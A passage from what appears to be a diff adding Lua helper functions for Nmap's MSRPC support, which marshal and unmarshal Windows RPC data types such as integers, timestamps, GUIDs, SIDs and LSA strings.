+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_int8(). Please report!")
+ return pos, nil
+ end
+ value, pos = string.unpack("<B", data, pos)
+
+ if(pad == nil or pad == true) then
+ pos = pos + 3
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_int8()")
+
+ return pos, value
+end
+
+--- Marshall a pointer to an int64.
+--
+-- If the pointer is null, it simply marshalls the
+-- integer '0'. Otherwise, it uses a referent id followed by the integer.
+--
+--@param int64 The value of the integer pointer
+--@return A string representing the marshalled data.
+function marshall_int64_ptr(int64)
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_int64_ptr()")
+ result = marshall_ptr(ALL, marshall_int64, {int64}, int64)
+ stdnse.debug4("MSRPC: Leaving marshall_int64_ptr()")
+
+ return result
+end
+
+--- Marshall a pointer to an int32
+--
+-- <code> [in,out] uint32 *ptr</code>
+--
+-- If the pointer is null, it simply marshalls the integer '0'. Otherwise,
+-- it uses a referent id followed by the integer.
+--
+--@param int32 The value of the integer pointer
+--@return A string representing the marshalled data.
+function marshall_int32_ptr(int32)
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_int32_ptr()")
+ result = marshall_ptr(ALL, marshall_int32, {int32}, int32)
+ stdnse.debug4("MSRPC: Leaving marshall_int32_ptr()")
+
+ return result
+end
+
+--- Marshall a pointer to an int16
+--
+-- <code> [in,out] uint16 *ptr</code>
+--
+-- If the pointer is null, it simply marshalls the integer '0'. Otherwise,
+-- it uses a referent id followed by the integer.
+--
+--@param int16 The value of the integer pointer
+--@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true.
+--@return A string representing the marshalled data.
+function marshall_int16_ptr(int16, pad)
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_int16_ptr()")
+ result = marshall_ptr(ALL, marshall_int16, {int16, pad}, int16)
+ stdnse.debug4("MSRPC: Leaving marshall_int16_ptr()")
+
+ return result
+end
+
+--- Marshall a pointer to an int8
+--
+-- <code> [in,out] uint8 *ptr</code>
+--
+-- If the pointer is null, it simply marshalls the integer '0'. Otherwise,
+-- it uses a referent id followed by the integer.
+--
+--@param int8 The value of the integer pointer
+--@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true.
+--@return A string representing the marshalled data.
+function marshall_int8_ptr(int8, pad)
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_int8_ptr()")
+ result = marshall_ptr(ALL, marshall_int8, {int8, pad}, int8)
+ stdnse.debug4("MSRPC: Leaving marshall_int8_ptr()")
+
+ return result
+end
+
+--- Unmarshall a pointer to an int32. See <code>marshall_int32_ptr</code> for more information.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, int32) The new position, and the value.
+function unmarshall_int32_ptr(data, pos)
+ local result
+
+ stdnse.debug4("MSRPC: Entering unmarshall_int32_ptr()")
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_int32, {})
+ stdnse.debug4("MSRPC: Leaving unmarshall_int32_ptr()")
+
+ return pos, result
+end
+
+--- Unmarshall a pointer to an int16. See <code>marshall_int16_ptr</code> for more information.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@param pad [optional] If set, will remove extra bytes to align the packet, Default: true
+--@return (pos, int16) The new position, and the value.
+function unmarshall_int16_ptr(data, pos, pad)
+ local result
+
+ stdnse.debug4("MSRPC: Entering unmarshall_int16_ptr()")
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_int16, {pad})
+ stdnse.debug4("MSRPC: Leaving unmarshall_int16_ptr()")
+
+ return pos, result
+end
+
+--- Unmarshall a pointer to an int8. See <code>marshall_int8_ptr</code> for more information.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@param pad [optional] If set, will remove extra bytes to align the packet, Default: true
+--@return (pos, int8) The new position, and the value.
+function unmarshall_int8_ptr(data, pos, pad)
+ local result
+
+ stdnse.debug4("MSRPC: Entering unmarshall_int8_ptr()")
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_int8, {pad})
+ stdnse.debug4("MSRPC: Leaving unmarshall_int8_ptr()")
+
+ return pos, result
+end
+
+--- Marshall an array of int8s, with an optional max_length set.
+--
+--@param data The array to marshall, as a string. Cannot be nil.
+--@param max_length [optional] The maximum length of the buffer. Default: the length of
+-- <code>data</code>.
+--@return A string representing the marshalled data.
+function marshall_int8_array(data, max_length)
+ stdnse.debug4("MSRPC: Entering marshall_int8_array()")
+
+ if(max_length == nil) then
+ max_length = #data
+ end
+
+ local result = string.pack("<I4I4", max_length, 0) .. data
+
+ stdnse.debug4("MSRPC: Leaving marshall_int8_array()")
+
+ return result
+end
+
+--- Unmarshall an array of int8s.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@param pad [optional] If set to true, will align data on 4-byte boundaries. Default:
+-- true.
+--@return (pos, str) The position, and the resulting string, which cannot be nil.
+function unmarshall_int8_array(data, pos, pad)
+ local max, offset, actual
+ local str
+
+ stdnse.debug4("MSRPC: Entering unmarshall_int8_array()")
+
+ pos = pos or 1
+ if #data - pos + 1 < 3*4 then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_int8_array(). Please report!")
+ return pos, nil
+ end
+ max, offset, actual, pos = string.unpack("<I4I4I4", data, pos)
+
+ if #data - pos + 1 < actual then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_int8_array() [2]. Please report!")
+ return pos - 3*4, nil
+ end
+ str, pos = string.unpack("<c"..actual, data, pos)
+
+ -- Do the alignment (note the "- 1", it's there because of 1-based arrays)
+ if(pad == nil or pad == true) then
+ while(((pos - 1) % 4) ~= 0) do
+ pos = pos + 1
+ end
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_int8_array()")
+
+ return pos, str
+end
+
+--- Marshall a pointer to an array of int8s.
+--
+--@param data The array to marshall, as a string. Can be nil.
+--@param max_length [optional] The maximum length of the buffer. Default: the length of
+-- <code>data</code>.
+--@return A string representing the marshalled data.
+function marshall_int8_array_ptr(data, max_length)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_int8_array_ptr()")
+
+ result = marshall_ptr(ALL, marshall_int8_array, {data, max_length}, data)
+
+ stdnse.debug4("MSRPC: Leaving marshall_int8_array_ptr()")
+ return result
+end
+
+--- Unmarshall a pointer to an array of int8s. By default, aligns the result to 4-byte
+-- boundaries.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@param pad [optional] If set to true, will align data on 4-byte boundaries. Default:
+-- true.
+--@return (pos, str) The position, and the resulting string, which cannot be nil.
+function unmarshall_int8_array_ptr(data, pos, pad)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_int8_array_ptr()")
+
+ pos, str = unmarshall_ptr(ALL, data, pos, unmarshall_int8_array, {pad})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_int8_array_ptr()")
+ return pos, str
+end
+
+--- Unmarshall an array of int32s.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The position, and the resulting string, which cannot be nil.
+function unmarshall_int32_array(data, pos, count)
+ local maxcount
+ local result = {}
+
+ pos, maxcount = unmarshall_int32(data, pos)
+
+ for i = 1, count, 1 do
+ pos, result[i] = unmarshall_int32(data, pos)
+ end
+
+ return pos, result
+end
+
+--- Unmarshall a pointer to an array of int32s.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The position, and the resulting string, which cannot be nil.
+function unmarshall_int32_array_ptr(data, pos)
+ local count, array
+
+ pos, count = unmarshall_int32(data, pos)
+ pos, array = unmarshall_ptr(ALL, data, pos, unmarshall_int32_array, {count})
+
+ return pos, array
+end
+
+---Marshalls an NTTIME.
+--
+-- This is sent as the number of 1/10 microseconds since 1601; however the
+-- internal representation is the number of seconds since 1970. Because doing
+-- conversions in code is annoying, the user will never have to understand
+-- anything besides seconds since 1970.
+--
+--@param time The time, in seconds since 1970.
+--@return A string representing the marshalled data.
+function marshall_NTTIME(time)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_NTTIME()")
+
+ if(time == 0) then
+ result = string.pack("<I8", 0)
+ else
+ result = string.pack("<I8", (time + 11644473600) * 10000000)
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_NTTIME()")
+ return result
+end
+
+---Unmarshalls an NTTIME. See <code>marshall_NTTIME</code> for more information.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, time) The new position, and the time in seconds since 1970.
+function unmarshall_NTTIME(data, pos)
+ local time
+ stdnse.debug4("MSRPC: Entering unmarshall_NTTIME()")
+
+ pos = pos or 1
+ if #data - pos + 1 < 8 then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_NTTIME(). Please report!")
+ return pos, nil
+ end
+ time, pos = string.unpack("<I8", data, pos)
+
+ if(time ~= 0) then
+ time = (time // 10000000) - 11644473600
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_NTTIME()")
+ return pos, time
+end
+
+---Marshalls an NTTIME*.
+--
+--@param time The time, in seconds since 1970.
+--@return A string representing the marshalled data.
+function marshall_NTTIME_ptr(time)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_NTTIME_ptr()")
+
+ result = marshall_ptr(ALL, marshall_NTTIME, {time}, time)
+
+ stdnse.debug4("MSRPC: Leaving marshall_NTTIME_ptr()")
+ return result
+end
+
+---Unmarshalls an <code>NTTIME*</code>.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, time) The new position, and the time in seconds since 1970.
+function unmarshall_NTTIME_ptr(data, pos)
+ local time
+ stdnse.debug4("MSRPC: Entering unmarshall_NTTIME_ptr()")
+
+ pos, time = unmarshall_ptr(ALL, data, pos, unmarshall_NTTIME, {})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_NTTIME_ptr()")
+ return pos, time
+end
+
+---Unmarshall a SYSTEMTIME structure, converting it to a standard representation.
+--
+--The structure is as follows:
+--
+-- <code>
+-- typedef struct _SYSTEMTIME {
+-- WORD wYear;
+-- WORD wMonth;
+-- WORD wDayOfWeek;
+-- WORD wDay;
+-- WORD wHour;
+-- WORD wMinute;
+-- WORD wSecond;
+-- WORD wMilliseconds;
+-- } SYSTEMTIME
+-- </code>
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, time) The new position, and the time in seconds since 1970.
+function unmarshall_SYSTEMTIME(data, pos)
+ local fmt = "<I2I2I2I2I2I2I2I2"
+ pos = pos or 1
+ if #data - pos + 1 < string.packsize(fmt) then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_SYSTEMTIME(). Please report!")
+ return pos, nil
+ end
+ local date = {}
+
+ -- TODO: consider returning the date table instead, allowing the caller to see milliseconds.
+ date.year, date.month, date.dow, date.day, date.hour, date.min, date.sec, date.msec, pos = string.unpack(fmt, data, pos)
+
+ return pos, os.time(date)
+end
+
+---Unmarshalls a <code>hyper</code>.
+--
+-- I have no idea what a <code>hyper</code> is, just that it seems to be a
+-- 64-bit data type used for measuring time, and that the units happen to be
+-- negative microseconds. This function converts the value to seconds and
+-- returns it.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, val) The new position, and the result in seconds.
+function unmarshall_hyper(data, pos)
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_hyper()")
+
+ pos, result = unmarshall_int64(data, pos)
+ result = result // -10000000
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_hyper()")
+ return pos, result
+end
+
+---Marshall an entry in a table.
+--
+-- Basically, converts the string to a number based on the entries in
+-- <code>table</code> before sending. Multiple values can be ORed together
+-- (like flags) by separating them with pipes ("|").
+--
+--@param val The value to look up. Can be multiple values with pipes between,
+-- e.g. "A|B|C".
+--@param table The table to use for lookups. The keys should be the names, and
+-- the values should be the numbers.
+--@return A string representing the marshalled data.
+local function marshall_Enum32(val, table)
+ local result = 0
+ stdnse.debug4("MSRPC: Entering marshall_Enum32()")
+
+ local vals = stringaux.strsplit("|", val)
+ local i
+
+ for i = 1, #vals, 1 do
+ result = result | table[vals[i]]
+ end
+
+ result = marshall_int32(result)
+
+ stdnse.debug4("MSRPC: Leaving marshall_Enum32()")
+ return result
+end
+
+---Unmarshall an entry in a table. Basically, converts the next int32 in the buffer to a string
+-- based on the entries in <code>table</code> before returning.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@param table The table to use for lookups. The keys should be the names, and the values should be
+-- the numbers.
+--@param default The default value to return if the lookup was unsuccessful.
+--@return (pos, policy_handle) The new position, and a table representing the policy_handle.
+local function unmarshall_Enum32(data, pos, table, default)
+ stdnse.debug4("MSRPC: Entering unmarshall_Enum32()")
+
+ if(default == nil) then
+ default = "<unknown>"
+ end
+
+ local pos, val = unmarshall_int32(data, pos)
+
+ for i, v in pairs(table) do
+ if(v == val) then
+ return pos, i
+ end
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_Enum32()")
+ return pos, default
+end
+
+---Unmarshall an entry in a table. Basically, converts the next int16 in the buffer to a string
+-- based on the entries in <code>table</code> before returning.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@param table The table to use for lookups. The keys should be the names, and the values should be
+-- the numbers.
+--@param default The default value to return if the lookup was unsuccessful.
+--@param pad [optional] If set, will ensure that we end up on an even multiple of 4. Default: true.
+--@return (pos, policy_handle) The new position, and a table representing the policy_handle.
+local function unmarshall_Enum16(data, pos, table, default, pad)
+ stdnse.debug4("MSRPC: Entering unmarshall_Enum16()")
+
+ if(default == nil) then
+ default = "<unknown>"
+ end
+
+ local pos, val = unmarshall_int16(data, pos, pad)
+
+ for i, v in pairs(table) do
+ if(v == val) then
+ return pos, i
+ end
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_Enum16()")
+ return pos, default
+end
+
+---Marshall an entry in a table.
+--
+-- Basically, converts the string to a number based on the entries in
+-- <code>table</code> before sending. Multiple values can be ORed together
+-- (like flags) by separating them with pipes ("|").
+--
+--@param val The value to look up. Can be multiple values with pipes between,
+-- e.g. "A|B|C".
+--@param table The table to use for lookups. The keys should be the names, and
+-- the values should be the numbers.
+--@param pad [optional] If set, will ensure that we end up on an even multiple of 4. Default: true.
+--@return A string representing the marshalled data.
+local function marshall_Enum8(val, table, pad)
+ local result = 0
+ stdnse.debug4("MSRPC: Entering marshall_Enum8()")
+
+ local vals = stringaux.strsplit("|", val)
+ local i
+
+ for i = 1, #vals, 1 do
+ result = result | table[vals[i]]
+ end
+
+ result = marshall_int8(result, pad)
+
+ stdnse.debug4("MSRPC: Leaving marshall_Enum8()")
+ return result
+end
+
+
+
+---Similar to <code>unmarshall_Enum32</code>, except it'll return every value that could be ANDed together to
+-- create the resulting value (except a 0 value). This is effective for parsing flag data types.
+--@param data The data packet.
+--@param pos The position within the data.
+--@param table The table to use for lookups. The keys should be the names, and the values should be
+-- the numbers.
+--@return (pos, array) The new position, and a table representing the enumeration values.
+local function unmarshall_Enum32_array(data, pos, table)
+ local array = {}
+ local i, v
+ local val
+ stdnse.debug4("MSRPC: Entering unmarshall_Enum32_array()")
+
+ pos, val = unmarshall_int32(data, pos)
+
+ for i, v in pairs(table) do
+ if (v & val) ~= 0 then
+ array[#array + 1] = i
+ end
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_Enum32_array()")
+ return pos, array
+end
+
+---Unmarshall raw data.
+--@param data The data packet.
+--@param pos The position within the data.
+--@param length The number of bytes to unmarshall.
+--@return (pos, data) The new position in the packet, and a string representing the raw data.
+function unmarshall_raw(data, pos, length)
+ local val
+ stdnse.debug4("MSRPC: Entering unmarshall_raw()")
+
+ pos = pos or 1
+ if #data - pos + 1 < length then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_raw(). Please report!")
+ return pos, nil
+ end
+ val, pos = string.unpack(("c%d"):format(length), data, pos)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_raw()")
+ return pos, val
+end
+
+
+-------------------------------------
+-- MISC
+-- (dependencies: n/a)
+-------------------------------------
+
+---Marshalls a GUID, which looks like this:
+--
+--<code>
+-- typedef [public,noprint,gensize,noejs] struct {
+-- uint32 time_low;
+-- uint16 time_mid;
+-- uint16 time_hi_and_version;
+-- uint8 clock_seq[2];
+-- uint8 node[6];
+-- } GUID;
+--</code>
+--
+--@param guid A table representing the GUID.
+--@return A string representing the marshalled data.
+local function marshall_guid(guid)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_guid()")
+
+ result = string.pack("<I4I2I2", guid.time_low, guid.time_high, guid.time_hi_and_version) .. guid.clock_seq .. guid.node
+
+ stdnse.debug4("MSRPC: Leaving marshall_guid()")
+ return result
+end
+
+---Unmarshalls a GUID. See <code>marshall_guid</code> for the structure.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_guid(data, pos)
+ local fmt = "<I4I2I2c2c6"
+ stdnse.debug4("MSRPC: Entering unmarshall_guid()")
+
+ pos = pos or 1
+ if #data - pos + 1 < string.packsize(fmt) then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_guid(). Please report!")
+ return pos, nil
+ end
+ local guid = {}
+ guid.time_low, guid.time_high, guid.time_hi_and_version, guid.clock_seq, guid.node, pos = string.unpack(fmt, data, pos)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_guid()")
+ return pos, guid
+end
+
+---Marshalls a policy_handle, which looks like this:
+--
+--<code>
+-- typedef struct {
+-- uint32 handle_type;
+-- GUID uuid;
+-- } policy_handle;
+--</code>
+--
+--@param policy_handle The policy_handle to marshall.
+--@return A string representing the marshalled data.
+function marshall_policy_handle(policy_handle)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_policy_handle()")
+
+ result = string.pack("<I4", policy_handle.handle_type) .. marshall_guid(policy_handle.uuid)
+
+ stdnse.debug4("MSRPC: Leaving marshall_policy_handle()")
+ return result
+end
+
+---Unmarshalls a policy_handle. See <code>marshall_policy_handle</code> for the structure.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_policy_handle(data, pos)
+ local policy_handle = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_policy_handle()")
+
+ pos, policy_handle['handle_type'] = unmarshall_int32(data, pos)
+ pos, policy_handle['uuid'] = unmarshall_guid(data, pos)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_policy_handle()")
+ return pos, policy_handle
+end
+
+----------------------------------
+-- SECURITY
+-- (dependencies: MISC)
+----------------------------------
+
+---Unmarshall a dom_sid struct
+--
+--<code>
+-- typedef [public,gensize,noprint,noejs,nosize] struct {
+-- uint8 sid_rev_num; /**< SID revision number */
+-- [range(0,15)] int8 num_auths; /**< Number of sub-authorities */
+-- uint8 id_auth[6]; /**< Identifier Authority */
+-- uint32 sub_auths[num_auths];
+-- } dom_sid;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_dom_sid2(data, pos)
+ local i
+
+ -- Read the SID from the packet
+ local sid = {}
+ pos, sid['count'] = unmarshall_int32(data, pos)
+ pos, sid['sid_rev_num'] = unmarshall_int8(data, pos, false)
+ pos, sid['num_auths'] = unmarshall_int8(data, pos, false)
+
+ -- Note that authority is big endian (I guess it's an array, not really an integer like we're handling it)
+ if #data - pos + 1 < 6 then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_dom_sid2(). Please report!")
+ return pos, nil
+ end
+ sid.authority, pos = string.unpack(">I6", data, pos)
+
+ sid['sub_auths'] = {}
+ for i = 1, sid['num_auths'], 1 do
+ pos, sid['sub_auths'][i] = unmarshall_int32(data, pos)
+ end
+
+ -- Convert the SID to a string
+ local result = string.format("S-%u-%u", sid['sid_rev_num'], sid['authority'])
+ for i = 1, sid['num_auths'], 1 do
+ result = result .. string.format("-%u", sid['sub_auths'][i])
+ end
+
+ return pos, result
+end
+
+---Unmarshall a pointer to a <code>dom_sid2</code> struct. See the <code>unmarshall_dom_sid2</code> function
+-- for more information.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_dom_sid2_ptr(data, pos)
+ return unmarshall_ptr(ALL, data, pos, unmarshall_dom_sid2, {})
+end
+
+---Marshall a dom_sid struct
+--
+--<code>
+-- typedef [public,gensize,noprint,noejs,nosize] struct {
+-- uint8 sid_rev_num; /**< SID revision number */
+-- [range(0,15)] int8 num_auths; /**< Number of sub-authorities */
+-- uint8 id_auth[6]; /**< Identifier Authority */
+-- uint32 sub_auths[num_auths];
+-- } dom_sid;
+--</code>
+--
+--@return A string representing the marshalled data.
+function marshall_dom_sid2(sid)
+ local i
+ local pos_next
+ local sid_array = {}
+ local result = ""
+ stdnse.debug4("MSRPC: Entering marshall_dom_sid2()")
+
+
+ if(string.find(sid, "^S%-") == nil) then
+ stdnse.debug1("MSRPC: ERROR: Invalid SID encountered: %s\n", sid)
+ return nil
+ end
+ if(string.find(sid, "%-%d+$") == nil) then
+ stdnse.debug1("MSRPC: ERROR: Invalid SID encountered: %s\n", sid)
+ return nil
+ end
+
+ local pos = 3
+
+ pos_next = string.find(sid, "-", pos)
+ sid_array.sid_rev_num = tonumber(string.sub(sid, pos, pos_next - 1))
+
+ pos = pos_next + 1
+ pos_next = string.find(sid, "-", pos)
+ sid_array.authority = tonumber(string.sub(sid, pos, pos_next - 1))
+
+ sid_array['sub_auths'] = {}
+ i = 1
+ repeat
+ pos = pos_next + 1
+ pos_next = string.find(sid, "-", pos)
+ if(pos_next == nil) then
+ sid_array['sub_auths'][i] = tonumber(string.sub(sid, pos))
+ else
+ sid_array['sub_auths'][i] = tonumber(string.sub(sid, pos, pos_next - 1))
+ end
+ i = i + 1
+ until pos_next == nil
+ sid_array['num_auths'] = i - 1
+
+ result = {
+ -- TODO: Is the first 32-bit integer here supposed to be num_auths, or some
+ -- other count value?
+ string.pack("<I4BB>I6", sid_array.num_auths, sid_array.sid_rev_num, sid_array.num_auths, sid_array.authority),
+ }
+ for i = 1, sid_array['num_auths'], 1 do
+ result[#result+1] = string.pack("<I4", sid_array['sub_auths'][i])
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_dom_sid2()")
+ return table.concat(result)
+end
+
+
+
+
+----------------------------------
+-- LSA
+-- (dependencies: SECURITY)
+----------------------------------
+
+
+---A <code>lsa_String</code> is a buffer that holds a non-null-terminated string. It can have a max size that's different
+-- from its actual size. I tagged this one as "internal" because I don't want the user to have to provide
+-- a "location".
+--
+-- This is the format:
+--
+--<code>
+-- typedef [public,noejs] struct {
+-- [value(2*strlen_m(string))] uint16 length;
+-- [value(2*strlen_m(string))] uint16 size;
+-- [charset(UTF16),size_is(size/2),length_is(length/2)] uint16 *string;
+-- } lsa_String;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the referent_id), BODY
+-- (for the pointer data), or ALL (for both together). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param str The string to marshall
+--@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator.
+-- Defaults to the length of the string, including the null.
+--@param do_null [optional] Appends a null to the end of the string. Default false.
+--@return A string representing the marshalled data.
+local function marshall_lsa_String_internal(location, str, max_length, do_null)
+ local length
+ local result = ""
+ stdnse.debug4("MSRPC: Entering marshall_lsa_String_internal()")
+
+ -- Handle default max lengths
+ if(max_length == nil) then
+ if(str == nil) then
+ max_length = 0
+ else
+ max_length = #str
+ end
+ end
+
+ if(str == nil) then
+ length = 0
+ else
+ length = #str
+ end
+
+ if(do_null == nil) then
+ do_null = false
+ end
+
+ if(location == HEAD or location == ALL) then
+ result = result .. string.pack("<I2I2", length * 2, max_length * 2) .. marshall_ptr(HEAD, marshall_unicode, {str, do_null, max_length}, str)
+ end
+
+ if(location == BODY or location == ALL) then
+ result = result .. marshall_ptr(BODY, marshall_unicode, {str, do_null, max_length}, str)
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_String_internal()")
+ return result
+end
+
+---Unmarshall a <code>lsa_String</code> value. See <code>marshall_lsa_String_internal</code> for more information.
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data packet.
+--@param pos The position within the data.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, str) The new position, and the unmarshalled string.
+local function unmarshall_lsa_String_internal(location, data, pos, result)
+ local length, size
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_String_internal()")
+
+ if(location == HEAD or location == ALL) then
+ pos, length = unmarshall_int16(data, pos, false)
+ pos, size = unmarshall_int16(data, pos, false)
+
+ pos, str = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {false})
+ end
+
+ if(location == BODY or location == ALL) then
+ pos, str = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {false}, result)
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_String_internal()")
+ return pos, str
+end
+
+---Public version of <code>marshall_lsa_String_internal</code> -- see that function on that for more information.
+-- This version doesn't require a <code>location</code>, so it's suitable to be a public function.
+--
+--@param str The string to marshall
+--@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator.
+-- Defaults to the length of the string, including the null.
+--@return A string representing the marshalled data.
+function marshall_lsa_String(str, max_length)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_lsa_String()")
+
+ result = marshall_lsa_String_internal(ALL, str, max_length)
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_String()")
+ return result
+end
+
+---Marshall an array of lsa_String objects. This is a perfect demonstration of how to use
+-- <code>marshall_array</code>.
+--
+--@param strings The array of strings to marshall
+--@return A string representing the marshalled data.
+function marshall_lsa_String_array(strings)
+ local array = {}
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_lsa_String_array()")
+
+ for i = 1, #strings, 1 do
+ array[i] = {}
+ array[i]['func'] = marshall_lsa_String_internal
+ array[i]['args'] = {strings[i]}
+ end
+
+ result = marshall_array(array)
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_String_array()")
+ return result
+end
+
+---Basically the same as <code>marshall_lsa_String_array</code>, except it has a different structure
+--
+--@param strings The array of strings to marshall
+function marshall_lsa_String_array2(strings)
+ local array = {}
+ local result
+
+ for i = 1, #strings, 1 do
+ array[i] = {}
+ array[i]['func'] = marshall_lsa_String_internal
+ array[i]['args'] = {strings[i], nil, nil, false}
+ end
+
+ result = marshall_int32(1000) -- Max length
+ .. marshall_int32(0) -- Offset
+ .. marshall_array(array)
+
+ --require 'nsedebug'
+ --nsedebug.print_hex(result)
+ --os.exit()
+ return result
+end
+
+---Table of SID types.
+local lsa_SidType =
+{
+ SID_NAME_USE_NONE = 0, -- NOTUSED
+ SID_NAME_USER = 1, -- user
+ SID_NAME_DOM_GRP = 2, -- domain group
+ SID_NAME_DOMAIN = 3, -- domain: don't know what this is
+ SID_NAME_ALIAS = 4, -- local group
+ SID_NAME_WKN_GRP = 5, -- well-known group
+ SID_NAME_DELETED = 6, -- deleted account: needed for c2 rating
+ SID_NAME_INVALID = 7, -- invalid account
+ SID_NAME_UNKNOWN = 8, -- oops.
+ SID_NAME_COMPUTER = 9 -- machine
+}
+---String versions of SID types
+local lsa_SidType_str =
+{
+ SID_NAME_USE_NONE = "n/a",
+ SID_NAME_USER = "User",
+ SID_NAME_DOM_GRP = "Domain group",
+ SID_NAME_DOMAIN = "Domain",
+ SID_NAME_ALIAS = "Local group",
+ SID_NAME_WKN_GRP = "Well known group",
+ SID_NAME_DELETED = "Deleted account",
+ SID_NAME_INVALID = "Invalid account",
+ SID_NAME_UNKNOWN = "Unknown account",
+ SID_NAME_COMPUTER = "Machine"
+}
+---Marshall a <code>lsa_SidType</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param sid_type The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_lsa_SidType(sid_type)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_lsa_SidType()")
+
+ result = marshall_Enum32(sid_type, lsa_SidType)
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_SidType()")
+ return result
+end
+
+---Unmarshall a <code>lsa_SidType</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_lsa_SidType(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_SidType()")
+
+ pos, str = unmarshall_Enum16(data, pos, lsa_SidType)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_SidType()")
+ return pos, str
+end
+
+---Convert a <code>lsa_SidType</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function lsa_SidType_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering lsa_SidType_tostr()")
+
+ result = lsa_SidType_str[val]
+
+ stdnse.debug4("MSRPC: Leaving lsa_SidType_tostr()")
+ return result
+end
+
+---LSA name levels.
+local lsa_LookupNamesLevel =
+{
+ LOOKUP_NAMES_ALL = 1,
+ LOOKUP_NAMES_DOMAINS_ONLY = 2,
